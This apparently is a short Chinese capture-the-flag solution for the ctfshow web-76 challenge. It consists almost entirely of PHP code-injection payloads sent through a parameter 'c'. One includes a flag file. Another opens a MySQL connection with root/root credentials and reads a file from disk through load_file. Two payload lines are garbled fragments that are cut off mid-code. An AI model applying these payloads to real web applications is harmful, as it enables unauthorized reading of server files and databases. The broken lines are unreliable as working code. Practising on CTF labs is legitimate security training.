ctfshow web-76

开启环境:

 c=?>__toString().' ');} exit(0); ?>

 c=include("/flagc.txt");exit();

 c=?>__toString().' ');} exit(0); ?>

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);